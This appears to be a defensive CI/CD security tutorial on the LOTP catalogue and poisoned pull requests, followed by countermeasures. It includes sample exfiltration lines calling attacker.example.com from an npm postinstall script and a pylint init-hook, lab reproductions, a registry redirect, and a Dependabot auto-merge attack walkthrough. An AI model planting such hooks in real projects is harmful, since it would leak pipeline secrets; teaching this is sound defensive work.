A simple npm install in your CI pipeline can exfiltrate all your secrets. A .pylintrc modified in a pull request can run arbitrary code on your runner. These tools are not malware, they are your everyday development tools. The LOTP (Living Off The Pipeline) project, created by BoostSecurity, is a catalogue listing some sixty tools that can be hijacked in CI/CD pipelines, 61 entries as of 2 October 2026. This guide presents the listed attack vectors, two concrete scenarios in a pull request context, and the countermeasures to put in place.
LOTP brings the GTFOBins (in French) approach to continuous integration. Where GTFOBins lists the system binaries that can be hijacked to escalate privileges, LOTP lists the build tools, linters and package managers whose documented features allow arbitrary code execution. Your pipelines install these tools and run them with their own rights: no malicious binary needs to be brought in.
What you will learn
- Recognise the six mechanisms through which a development tool runs code
- Assess the risk of a poisoned pull request depending on where it comes from and how the pipeline is configured
- Reproduce two attacks, through an npm
postinstalland a pylintinit-hook, with their real outputs - Apply the countermeasures that really hold, measured, and rule out those that do not protect
- SOCLE anchoring: this guide helps you understand the threat; its scenarios map to the threat model of the SOCLE baseline (in French)
Why this catalogue changes the game
The problem: trusted tools nobody questions
In a classic CI/CD pipeline, you run a succession of tools, linters, package managers, builders, giving them implicit trust. Nobody reads a pull request's eslint.config.js or Makefile with the same attention as a change to application code.
Yet these tools share one feature: they run code through their configuration files, their lifecycle scripts or their environment variables. An attacker who modifies one of these files in a pull request or a merge request gets code execution on the CI/CD runner, with access to the pipeline's secrets, tokens and artifacts.
This is the principle of Poisoned Pipeline Execution (PPE), risk CICD-SEC-4 of the OWASP Top 10 CI/CD: the attacker does not compromise the CI directly, they poison the files the CI runs blindly.
The 6 vectors listed by LOTP
How can a simple configuration file become dangerous? The LOTP catalogue has identified 6 mechanisms through which development tools run code. Understanding them is essential to know what is really at stake when your pipeline launches an npm install or a pylint src/.
-
Direct Code Execution: some tools are designed to run shell or a scripting language. That is their main role. When your pipeline runs
make build, each target of theMakefiledirectly runs the shell commands it contains. If an attacker modifies theMakefilein a PR, they run whatever they want. Same principle forrake(Ruby) orjust. -
Config File Eval: a configuration file is often thought of as "just data". Yet for many JavaScript tools, the config file is executable code. When ESLint loads
eslint.config.js, Node.js runs that file: it is not JSON being read, it is JavaScript running. Same for.prettierrc.js,build.gradle(Groovy) orRakefile(Ruby). -
Lifecycle Scripts: package managers automatically run scripts at key moments, before installation, after installation, before tests. It is a legitimate mechanism, to compile a native module after
npm installfor instance. The problem: these scripts fire without any explicit action from the developer. The attacker adds apostinstalltopackage.jsonand the pipeline runs it blindly. -
Registry Redirect: instead of modifying the code, the attacker redirects the package manager to a registry they control. A
.npmrcfile withregistry=https://evil.example.com/is enough. For pip, it is--index-urlor-iinrequirements.txt. The pipeline then downloads malicious packages instead of the real ones, and installs them without a fuss. -
Environment Poisoning: many tools change their behaviour based on environment variables. The classic example is
BASH_ENV: in GitHub Actions, if a step writes to this variable, the file it names is sourced (executed in the current shell) before every following bash step. Another example:TAR_OPTIONSinjects options into everytarcall, including--checkpoint-action=exec=, which runs shell. -
Input File Abuse: some tools handle input files dangerously when the attacker controls them. The classic example is zip-slip through
tar: an archive holding paths outside the target directory overwrites files during extraction. With BuildKit,docker buildcan also exfiltrate secrets mounted throughRUN --mount=type=secret, but only if secrets are injected into the build.
These 6 vectors are mechanisms: they describe how a tool can run code. To become dangerous, they need a delivery vector, the way the attacker gets their modified file to the pipeline. In the vast majority of cases, that vector is the pull request (or merge request).
The attack scenario: the poisoned pull request
All the vectors above converge on one exploitation scenario, Poisoned Pipeline Execution. The attacker does not break into your CI, they submit a contribution that your CI will run, with the job's rights.
- The attacker submits a PR/MR, from a fork (open source) or a compromised account (insider). The PR modifies a configuration file:
package.json,.pylintrc,Makefile,eslint.config.js… - The CI pipeline triggers, automatically on the
pull_requestormerge_requestevent. The runner clones the PR's code, modified files included. - The tool runs the attacker's code:
npm cilaunches thepostinstall,pylintevaluates theinit-hook, ESLint loads the JS config. The malicious code runs with the same rights as the CI job. - The secrets are exfiltrated:
GITHUB_TOKEN,NPM_TOKEN,CI_JOB_TOKENand every environment variable of the runner go to a server the attacker controls. The job finishes normally, and nothing in the logs signals the attack.
The impact depends on who submits the PR
Before diving into the examples, let us ask the question your security team will ask: "who would do this, and in what context?". The impact of a poisoned PR depends heavily on two factors: the origin of the contribution and the configuration of the pipeline. Here are the five scenarios to know.
PR from a fork (open source projects)
Risk: moderate. This is the typical case of an open source project. An external contributor forks your repository and submits a PR. On GitHub, the default protections limit the impact: the PR's GITHUB_TOKEN is read-only, and the repository secrets are not passed to a workflow triggered by a fork.
But the attacker still gets code execution on your runner. On a self-hosted runner, they can explore the internal network, reach shared caches and pivot to other resources. Even on a GitHub-hosted runner, they can tamper with the job's artifacts or exploit unprotected environment variables.
Same-repository PR (insider or compromised account)
Risk: critical. Here the attacker has write access to the repository, either because a developer's account was compromised (stolen credentials, hijacked session), or as a malicious insider. The PR comes from the same repository, not from a fork.
The difference is major: every secret configured in the workflow is reachable by the job, and the GITHUB_TOKEN carries the repository's permissions. The attacker can exfiltrate publishing tokens (npm, Docker Hub), deployment keys (AWS, GCP), and publish malicious artifacts under the project's identity.
Misconfigured pull_request_target
Risk: critical, this is a trap behind real incidents. On GitHub, the pull_request_target event runs the workflow in the context of the target branch (main), not of the source branch. As a result, even a PR from a fork has access to every secret of the repository.
The problem arises when the workflow runs actions/checkout on the PR's code:
# ❌ DANGEROUS: checkout of the PR's unverified code# but with main's secrets- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: ref: ${{ github.event.pull_request.head.sha }}The attacker then gets code execution with main's secrets, the worst of both worlds. The Ultralytics incident of December 2024 started from a pull_request_target workflow of this kind, which handled the PR's code and branch name.
Dependabot auto-merge: the "confused deputy" attack
Risk: critical. This variant exploits pull_request_target more subtly than the unsafe checkout. The problem does not come from checking out code, but from auto-merge workflows that trust github.actor to identify Dependabot.
Many projects automate merging Dependabot PRs with a workflow like this one:
# ❌ DANGEROUS: github.actor can be manipulatedon: pull_request_targetjobs: auto-merge: runs-on: ubuntu-24.04 if: ${{ github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge --auto -d -mThe trap: github.actor does not designate the PR's author, but the user who triggered the last event on the workflow. It is a Confused Deputy (CWE-441) attack: a trusted third party, here Dependabot, is manipulated into acting for the attacker.
Here is the attack scenario in 9 steps:
-
Fork of the target repository: the attacker forks a repository that has an auto-merge workflow based on
github.actor == 'dependabot[bot]'. -
Payload injection: the attacker adds their malicious code to the default branch of their fork.
-
Dependabot activation: the attacker enables Dependabot on their fork. If an outdated dependency exists, which is often the case at fork time, Dependabot automatically creates an update branch.
-
Dependabot creates its branch: that branch is based on the fork's default branch, which already holds the attacker's payload.
-
PR to the victim repository: the attacker opens a PR from that Dependabot branch of their fork to the original repository.
-
First attempt (failure): the auto-merge workflow triggers, but
github.actoris the attacker, since they opened the PR. Theifcondition fails. -
@dependabot recreate: the attacker goes back to Dependabot's original PR in their fork and comments@dependabot recreate. -
Dependabot rebuilds its branch: Dependabot force-pushes its changes. This triggers the
synchronizeevent on the victim repository's PR. -
Automatic merge: this time,
github.actorisdependabot[bot], since Dependabot triggered thesynchronizeevent. Theifcondition is met, and the malicious code is merged automatically.
The attack does not stop there. BoostSecurity researchers described two more techniques for injecting code through the branch name (github.event.pull_request.head.ref). If the workflow uses this variable in a run: without escaping it, the attacker can force Dependabot to push to a branch named $(id), which gives direct command execution. This actor confusion scenario is what allowed the theft, in December 2024, of the Docker Hub token of Kong's Ingress Controller.
Detection: the poutine scanner has a dedicated rule, confused_deputy_auto_merge, which automatically detects vulnerable workflows.
Prevention: never use github.actor or github.triggering_actor alone to check Dependabot's identity in a pull_request_target workflow. Use github.event.pull_request.user.login instead, outside synchronize events, or the dependabot/fetch-metadata action, which checks the identity more robustly.
Enterprise monorepo
Risk: high. In an organisation with a monorepo, there are fewer forks but many internal branches. Every developer can create a branch and open a PR. Permissions are often broad, and sometimes everyone has access to every secret of the workflow.
The risk is subtle: a junior developer can, without malicious intent, add a postinstall or modify a Makefile without realising the consequences. And if an account is compromised in a monorepo where 50 developers have write access, the attacker reaches the secrets without going through a fork.
The two examples that follow show the PPE scenario concretely, with two different vectors: npm lifecycle scripts and pylint configuration files.
Prerequisites
Both demonstrations were run on 2 October 2026 in disposable containers, which is the simplest way to reproduce them without installing anything on your workstation:
- Docker or Podman, with the
node:22andpython:3.12-slimimages; - or, failing that, Node.js 22 with npm and Python 3.12 with pip, in a test VM.
Example 1: npm lifecycle scripts in a pull request
npm is a central vector in the LOTP catalogue, because every installation automatically runs the scripts defined in package.json. Among its many lifecycle scripts, preinstall, install and postinstall fire without any explicit action from whoever runs the installation.
The legitimate pipeline
Here is a classic GitHub Actions workflow for a Node.js project. It triggers on every pull request and runs the tests:
name: CIon: pull_request: branches: [main]
permissions: contents: read
jobs: test: runs-on: ubuntu-24.04 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: node-version: 22 - run: npm ci # Install the dependencies - run: npm test # Run the testsThis workflow looks harmless. Yet the npm ci step automatically runs the lifecycle scripts defined in package.json, including those added by the pull request, with every environment variable of the job.
The poisoned pull request
A contributor submits a PR modifying package.json to add a postinstall script. On the surface, the PR adds a legitimate dependency; the line that matters gets lost in the diff:
{ "name": "my-project", "version": "2.1.0", "scripts": { "test": "jest", "build": "tsc", "postinstall": "curl -s https://attacker.example.com/collect?token=$NPM_TOKEN&gh=$GITHUB_TOKEN" }, "dependencies": { "express": "^4.18.0" }}What happens in the pipeline
Nothing in this sequence requires the attacker to reach the runner: the pipeline runs their code for them, with the secrets the job received. The four steps follow the normal cycle of a pull request.
-
The PR is opened: the
ci.ymlworkflow triggers automatically on thepull_requestevent. -
actions/checkoutfetches the PR's code, including the modifiedpackage.jsonholding the maliciouspostinstall. -
npm ciruns on the runner: npm detects thepostinstallscript and runs it automatically after installing the dependencies. Thecurlsends theNPM_TOKENandGITHUB_TOKENtokens to the attacker's server, if they are present in the job's environment. -
The attacker collects the secrets: with an
NPM_TOKEN, they can publish malicious packages under the project's identity; with a writeGITHUB_TOKEN, the case of an internal PR, they act on the repository.
Reproduce it in your lab
-
Create a
package.jsonsimulating the attackpackage.json {"name": "lotp-npm-demo","version": "1.0.0","scripts": {"postinstall": "echo \"[EXFIL] GITHUB_TOKEN=${GITHUB_TOKEN:-non-defini} | user=$(whoami) | host=$(hostname)\""}} -
Simulate the pipeline run
The container receives a fake token as an environment variable, like a CI job:
Terminal window docker run --rm -h runner-demo -e GITHUB_TOKEN=ghp_simulation1234567890 \-v "$PWD:/w" -w /w \node:22.20.0-bookworm-slim@sha256:b21fe589dfbe5cc39365d0544b9be3f1f33f55f3c86c87a76ff65a02f8f5848e npm installOutput obtained with npm 10.9.3:
> lotp-npm-demo@1.0.0 postinstall> echo "[EXFIL] GITHUB_TOKEN=${GITHUB_TOKEN:-non-defini} | user=$(whoami) | host=$(hostname)"[EXFIL] GITHUB_TOKEN=ghp_simulation1234567890 | user=root | host=runner-demoup to date, audited 1 package in 239ms -
See the impact, then the defence
The
postinstallscript read the token from the job's environment. Run again withnpm install --ignore-scripts, the same command no longer prints any[EXFIL]line: the script does not run. In a real pipeline, the attacker replaces theechowith acurl, and the exfiltration does not fail the job.
Example 2: pylint init-hook in a merge request
pylint is a Python linter widely used in CI/CD pipelines. The LOTP catalogue documents two configuration options that run arbitrary Python: init-hook, at startup, and evaluation, at the end of the analysis. The configuration can sit in a .pylintrc file at the root of the project, a file nobody watches in code review.
The legitimate pipeline
This GitLab CI job runs pylint on every merge request. The linter automatically reads the .pylintrc it finds in the current directory, so the one the merge request brings with it.
lint: stage: test image: python:3.12-slim@sha256:dddfd7e07f9d15aeeca61529320492139d21cac7f0070c00609243e51e4e0016 script: - pip install pylint==4.0.2 - pylint src/ rules: - if: $CI_MERGE_REQUEST_IIDThe poisoned merge request
A contributor submits an MR adding a .pylintrc file "to standardise the code style". The commit message is harmless: chore: add pylint configuration.
[MAIN]init-hook=__import__("os").system("curl -s https://attacker.example.com/collect?token=" + __import__("os").getenv("CI_JOB_TOKEN","") + "&project=" + __import__("os").getenv("CI_PROJECT_PATH",""))
[FORMAT]max-line-length=120indent-string=' 'The init-hook field is buried among legitimate formatting options. In code review, attention goes to max-line-length and indent-string, not to the init-hook line holding obfuscated Python. The former section name, [MASTER], still works: pylint 4.0.2 runs the hook under either.
What happens in the pipeline
The sequence is the same as with npm, with one difference: it is a linter, a tool reputed to be passive, that runs the code. No test breaks, and the score shown at the end reassures rather than alarms.
-
The MR is opened: the
lintjob triggers, since the$CI_MERGE_REQUEST_IIDrule is true. -
The runner clones the MR's code, including the added
.pylintrc. -
pylint src/runs: at startup, pylint reads.pylintrcand runs the Python code ofinit-hook. Thecurlsends theCI_JOB_TOKENand theCI_PROJECT_PATHto the attacker's server. -
The job finishes normally: pylint carries on with its analysis and prints a score. Nothing in the logs signals the exfiltration. During the job, GitLab's
CI_JOB_TOKENgives access to the registries and projects its scope allows.
Reproduce it in your lab
-
Create a
.pylintrcsimulating the attack.pylintrc [MAIN]init-hook=import os; print(f"[EXFIL] CI_JOB_TOKEN={os.getenv('CI_JOB_TOKEN', 'non-defini')} | user={os.getenv('USER', 'unknown')}")[FORMAT]max-line-length=120 -
Create a minimal Python file to analyse
app.py """Demo application."""def hello():"""Print a message."""print("Hello, World!") -
Simulate the pipeline run
Terminal window docker run --rm -v "$PWD:/w" -w /w \python:3.12-slim@sha256:dddfd7e07f9d15aeeca61529320492139d21cac7f0070c00609243e51e4e0016 sh -c \'pip install -q pylint==4.0.2 && USER=runner CI_JOB_TOKEN=glcbt-simulation-1234567890 pylint app.py'Output obtained with pylint 4.0.2:
[EXFIL] CI_JOB_TOKEN=glcbt-simulation-1234567890 | user=runner------------------------------------Your code has been rated at 10.00/10 -
See the impact
The Python code of
init-hookran before the analysis. The job ends with a 10/10 score, and nothing indicates that an exfiltration took place. Theevaluationfield is just as vulnerable: it accepts a Python expression evaluated at the end of the analysis.
Real incidents (2024-2025)
All of the above may seem theoretical. Who would really poison a package.json in a pull request? The answer: plenty of people. The techniques listed by LOTP are exploited regularly, including against major open source projects. Here are four recent incidents that show how real these attacks are.
| Date | Incident | Vector exploited |
|---|---|---|
| Dec. 2024 | Ultralytics: a pull_request_target workflow hijacked through injection in the branch name, then GitHub Actions cache poisoning, led to versions carrying a cryptocurrency miner being published on PyPI | PPE through pull_request_target |
| Dec. 2024 | Kong Ingress Controller: unauthorised build of version 3.4.0, published with a Docker Hub token stolen through a Dependabot actor confusion | Confused deputy auto-merge |
| March 2025 | tj-actions/changed-files: compromise of a GitHub action used by more than 23,000 repositories, which printed CI secrets in the logs | Modified action (supply chain) |
| Sept. and Nov. 2025 | Shai-Hulud: an npm worm that steals developers' tokens and republishes itself in their packages, through a postinstall, then, in its second wave, through a preinstall that also registers the machine as a self-hosted runner | npm lifecycle scripts |
These incidents show attackers exploiting exactly the mechanisms described above: npm lifecycle scripts, workflows that run unverified code, and modified GitHub Actions. The common thread? The malicious change blended into something that looked legitimate: a workflow, a dependency script, a trusted action.
The listed tools, category by category
Now that you understand the 6 exploitation vectors, let us see which concrete tools are affected. The LOTP catalogue lists 61 of them as of 2 October 2026. The tables below present the most common ones in DevOps pipelines, the ones you probably use every day.
For each tool, you get the vector exploited, the files to watch in a PR/MR, and the main risk. The goal is to give you a reading checklist: when you review a pull request, knowing which files deserve particular attention.
Package managers
Package managers are particularly exposed tools, because they run systematically in a CI/CD pipeline. Every project goes through an npm install, a pip install or a bundle install. Since these commands are considered harmless, "we are just installing dependencies", nobody questions what really happens during the installation.
Yet most of these tools allow running code at installation time (lifecycle scripts) or redirecting downloads to a registry an attacker controls (registry redirect). The guide on package manager attacks details five techniques of this kind, registry redirection among them.
| Tool | Vector | Files involved | Main risk |
|---|---|---|---|
| npm | Lifecycle scripts, env-var | package.json, .npmrc | postinstall runs shell, .npmrc redirects the registry |
| pip | Input-file, eval-py | requirements.txt, setup.py, pyproject.toml | The Python build chain (sdist) can run code at installation; -i redirects the index |
| yarn | Config-file, eval-js | .yarnrc.yml | yarnPath runs an arbitrary local JS file |
| poetry | Input-file, eval-py | pyproject.toml, setup.py | Malicious sources, the build chain can run code |
| cargo | Config-file, eval-sh | Cargo.toml, build.rs | build.rs runs automatically at compile time |
| bundler | Config-file, eval-sh | Gemfile, .bundle/config | Gemfile is executable Ruby, .bundle/config redirects the registry |
| uv | Input-file, eval-py | requirements.txt, setup.py, pyproject.toml | Same vectors as pip (Python build chain) |
| composer | Config-file, eval-sh | composer.json | PHP scripts run at installation |
Build tools
Build tools are dangerous by nature: their role is to run commands to compile, package or publish your code. A Makefile is literally a list of shell commands, a build.gradle a complete Groovy program. What makes them risky in a PR/MR is that the build file is part of the repository, and a contributor modifies it as easily as a source file.
| Tool | Vector | Files involved | Main risk |
|---|---|---|---|
| make | Direct code execution | Makefile | Each target runs shell directly |
| gradle | Config-file, eval-groovy/kotlin | build.gradle(.kts), settings.gradle(.kts) | Groovy or Kotlin code run when the project loads |
| maven | Config-file, env-var | pom.xml | exec-maven-plugin and MAVEN_ARGS |
| docker | Config-file, eval-sh | Dockerfile | With BuildKit, exfiltration of secrets mounted through RUN --mount=type=secret |
| goreleaser | Config-file, eval-sh | .goreleaser.yaml | before and after hooks that run shell |
| just | Direct code execution | justfile | Direct execution of shell commands |
| rake | Direct code execution | Rakefile | Executable Ruby, tasks loaded automatically |
| msbuild | Config-file, input-file | *.csproj, Directory.Build.props | <Exec> and automatic import of Directory.Build.props |
Linters and formatters
This is a surprising category. It is hard to picture a linter, a tool that checks code quality, as an attack vector. Yet several JavaScript and Python linters run their configuration file instead of merely reading it.
Take ESLint: the eslint.config.js file is not a configuration file in the classic sense, like JSON or YAML. It is a JavaScript module that Node.js runs. An attacker who adds process.env or require('child_process') to it gets code execution on your runner, and these files are rarely inspected in review.
| Tool | Vector | Files involved | Main risk |
|---|---|---|---|
| eslint | Config-file, eval-js | eslint.config.{js,mjs,cjs} | JS config run by Node.js on load |
| prettier | Config-file, eval-js | .prettierrc.js, prettier.config.js | JS config run by Node.js |
| pylint | Config-file, eval-py | .pylintrc, pylintrc | init-hook and evaluation run Python |
| flake8 | Config-file, eval-py | .flake8, tox.ini | local-plugins loads a Python module |
| mypy | Config-file, eval-sh | mypy.ini, .mypy.ini | plugins loads a local Python module |
| rubocop | Config-file, eval-sh | .rubocop.yml | ERB and require load Ruby |
| stylelint | Config-file, eval-js | .stylelintrc.{js,cjs,mjs} | Custom rules and plugins load JS |
| checkov | Config-file, eval-py | .checkov.yml | external-checks-dir runs Python |
| trivy | Config-file | trivy.yaml | Go templates (sprig) that exfiltrate data |
Shells and utilities
These tools are not development-specific: you find them on any Linux system. What makes them exploitable are little-known features, environment variables that silently change their behaviour, or obscure options that allow running code.
The classic example is BASH_ENV: this variable holds a file name, and bash sources that file (executes it in the current shell) when a non-interactive shell starts. Two cases escape it: bash in POSIX mode, and bash invoked under the name sh (dash does not read the variable at all). In GitHub Actions, with the default bash shell, every run: step starts such a shell: poisoning BASH_ENV means injecting code into every following step.
| Tool | Vector | Files involved | Main risk |
|---|---|---|---|
| bash | Env-var, config-file | .bashrc, .bash_profile | file named by BASH_ENV sourced when a non-interactive bash starts (not in POSIX mode or as sh) |
| tar | Input-file, env-var | *.tar.gz | TAR_OPTIONS --checkpoint-action=exec= and zip-slip |
| python | Env-var | - | PYTHONWARNINGS and BROWSER allow arbitrary execution |
| java | Env-var | - | _JAVA_OPTIONS and -XX:OnOutOfMemoryError allow RCE |
| sed | Config-file, eval-sh | *.sed | GNU sed's e command runs shell |
| wget | Env-var, config-file | .wgetrc | use_askpass runs an arbitrary script |
Hooks and CI-specific tools
The last category covers tools that interact directly with the CI/CD platform. They are often automation mechanisms, pre-commit hooks, composite GitHub actions or MegaLinter, which by design have broad access to the runner and the secrets. A .pre-commit-config.yaml file added in a PR can run any shell command if a hook uses language: system.
| Tool | Vector | Files involved | Main risk |
|---|---|---|---|
| pre-commit | Config-file, eval-sh | .pre-commit-config.yaml | language: system hooks that run arbitrary shell |
| actions/github-script | Injection, eval-js | - | ${{ }} injectable in the inputs |
| Local GitHub action | Config-file, eval-sh | action.yml | The PR provides a local composite action.yml |
| MegaLinter | Config-file, eval-sh | .mega-linter.yml | PRE_COMMANDS, POST_COMMANDS and the Docker socket as root |
| terraform | Input-file, eval-sh | HCL files, state | external data source, local-exec, state poisoning |
Protecting yourself against the listed techniques
The countermeasures below go from the most structural, to put in place first, to the most granular. The defence that matters is not a command-line option, it is a pipeline architecture that separates trusted code from unverified code.
Recommended architecture: untrusted and trusted pipelines
A core countermeasure against PPE is to split your pipelines into two trust levels. A pull request's code has not been validated yet: it should therefore never reach the secrets of production, nor any write permissions.
This pipeline triggers on every pull request or merge request. It runs tests and linters on unverified code:
- No secret injected into the job (no
NPM_TOKEN, noCI_JOB_TOKENwith broad rights) - No write permission (
permissions:reduced tocontents: readin GitHub Actions) - No publishing of artifacts or images to registries
- Isolated caches per PR (key including
github.event.pull_request.number) --ignore-scriptsenabled by default
name: CI (untrusted)on: pull_request: branches: [main]
permissions: contents: read
jobs: test: runs-on: ubuntu-24.04 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: node-version: 22 - run: npm ci --ignore-scripts - run: npm testThis pipeline only triggers on code already merged (push to main) or on tags. The code has been reviewed and approved:
- Secrets allowed (publishing tokens, deployment keys)
- Write permissions where needed (npm publishing, image pushes)
- GitHub environments with manual approval for critical deployments
- Ephemeral tokens (OIDC) rather than long-lived PATs (Personal Access Tokens)
name: Release (trusted)on: push: tags: ['v*']
permissions: contents: read id-token: write # OIDC for ephemeral tokens
jobs: publish: runs-on: ubuntu-24.04 environment: production # Approval required steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: node-version: 22 - run: npm ci - run: npm publishProtecting critical files with CODEOWNERS
The PPE attack relies on modifying configuration files in a PR. The defence: require a specific approval when these files change. On GitHub, the CODEOWNERS file defines who must approve changes, path by path, provided branch protection requires code owner review:
# Security: DevSecOps approval required for pipeline and config files.github/workflows/ @org/devsecops-team.gitlab-ci.yml @org/devsecops-teampackage.json @org/devsecops-team.npmrc @org/devsecops-team.pylintrc @org/devsecops-teampylintrc @org/devsecops-teamMakefile @org/devsecops-teameslint.config.* @org/devsecops-team.prettierrc.* @org/devsecops-team.pre-commit-config.yaml @org/devsecops-teamsetup.py @org/devsecops-teampyproject.toml @org/devsecops-teamrequirements*.txt @org/devsecops-teamGitLab reads the same CODEOWNERS file and makes code owner approval mandatory on protected branches, in the Premium or Ultimate tier. The Source code governance lesson details this setup.
Disabling lifecycle scripts, with an allow-list
Disabling every installation script closes the lifecycle-script vector in one go, but breaks the native modules that need one. The good practice is therefore to switch them all off, then explicitly rebuild only the reviewed packages.
-
Disable every script by default
Terminal window npm ci --ignore-scriptsyarn install --ignore-scripts -
Rebuild only the allowed native modules
Some projects need legitimate compilation scripts (native modules such as
node-gyp,sharp, and so on). Rather than re-enabling every script, allow only those that are needed:Terminal window # Rebuild a specific native module after reviewnpm rebuild sharpnpm rebuild bcryptSome package managers already offer a native allow-list: Bun, for instance, only runs the scripts of the packages listed in
trustedDependenciesinpackage.json.
Locking package indexes
Never trust the repository's .npmrc or requirements.txt to define the registry, but do not believe a command-line option neutralises them either: precedence depends on the tool, and it is surprising.
With pip, measured on pip 25.0.1: a requirements.txt starting with -i https://evil-registry.example.com/simple/, installed with -i https://pypi.org/simple/ on the command line, prints Looking in indexes: https://evil-registry.example.com/simple/. The file wins. With npm, it is the opposite: the command-line flag and the npm_config_registry variable take precedence over the repository's .npmrc, whereas npm config set registry writes into the user's file, which the project's .npmrc overrides.
# pip: cut off remote indexes and install from a verified mirrorpip install --no-index --find-links /opt/wheels -r requirements.txt
# npm: the command-line flag wins over the repository's .npmrcnpm ci --ignore-scripts --registry=https://registry.npmjs.org/--no-index is one of the few options the dependency file cannot contradict. The OWASP Top 10 CI/CD lesson adds rejecting files that redirect the index, and Securing dependencies adds hash locking.
Forcing and isolating linter configuration
Pointing linters at a verified configuration is not always enough: you also need to make sure the linter itself and its plugins were not brought in by the PR. Here is the full posture, starting with the enforced configuration:
# ESLint: point at a verified config, versioned separatelyeslint --config ./ci-config/eslint.config.js src/
# pylint: ignore the repository's configs (only --rcfile achieves it)pylint --rcfile=/dev/null src/Three additions strengthen this posture:
- Install linters from main, not from the PR. Ideally, run linters in a container or venv built from the target branch: the attacker can then inject neither the linter nor a modified plugin.
- Block loading of local plugins when the tool allows it, with
eslint --no-eslintrcon older ESLint versions for instance. - Do not rely on environment variables to neutralise a configuration:
PYLINTRC=/dev/nulldoes not mask the repository's.pylintrc, and a variable such asBASH_ENVis handled by an allow-list of the variables passed to jobs, detailed in the guide on environment variable poisoning.
Scanning pipelines with dedicated tools
Specialised scanners automatically detect PPE vectors in your workflows, including those you would not have spotted in manual review. The following three complement each other, and run in a few seconds on a repository:
- poutine: static analysis of GitHub Actions workflows, which detects PPE vectors, including the tools listed by LOTP;
- zizmor: vulnerability detection in workflows,
${{ }}injections and unsafe checkouts; - OpenSSF Scorecard: security maturity assessment of an open source project, including its Dangerous-Workflow check.
Isolating CI/CD runners
Runner isolation is your last line of defence. If, despite everything, malicious code runs, you need to limit what it can do and prevent any persistence on the machine:
- Ephemeral runners, destroyed after each job. On GitHub Actions, GitHub-hosted runners already are; for self-hosted ones, configure
--ephemeralmode. - Clean checkout for every job, with no reused workspace: keep
clean: true, the default ofactions/checkout. - Scoped caches: the cache key includes the repository, the workflow and the branch. Never share a cache between a fork and the main repository.
- Least privilege on tokens: declare
permissions:explicitly in every GitHub Actions workflow. In GitLab CI, use protected variables and environments.
Key points
- LOTP is a catalogue, not an attack. It lists some sixty standard development tools whose legitimate features allow code execution in CI/CD pipelines: the GTFOBins of CI/CD.
- The main vector is the pull request / merge request: the attacker modifies a configuration file (
package.json,.pylintrc,Makefile...) and the pipeline runs the code without checking. - Code review must include configuration files, not just application code. A modified
.pylintrcis as dangerous as a shell script. --ignore-scriptsand--rcfile=/dev/nullare your first lines of defence in npm and pylint pipelines;PYLINTRC=/dev/nulland a pip-ion the command line do not protect you.- Split your pipelines: the PR runs with no secret and no write access, and publishing only happens after the merge, with ephemeral tokens.
- Scan your pipelines with poutine, zizmor and Scorecard to detect exploitable vectors automatically.
- Back to the threat model: the poisoned pull request is a vector of the SOCLE threat model (in French), which says which requirements cover it.
Knowledge check
Check that the essentials of this lesson are in place. The questions only cover what has just been explained here.
Knowledge check
Check what you have learned with this interactive quiz
How it works
- The timer starts when you click Start
- Multiple choice, true/false and short answer questions
- You can move between questions
- Detailed results are shown at the end
Starts the quiz and the timer
Review
(0/0)Result saved on this device. It will be sent to your account at the next sync. Sync now
Score by domain
A domain groups several guides and gets several questions, so its score is more reliable than a per-topic score, which often rests on a single question.
Summary
Strengths
No topic passed at 80% on at least two questions yet.
Weak areas
No topic below the pass mark.
Recommended next
Hints before you try again?
Continue the course: GitHub Actions permissions: the GITHUB_TOKEN
A new full quiz with random questions
Work again only on the questions you missed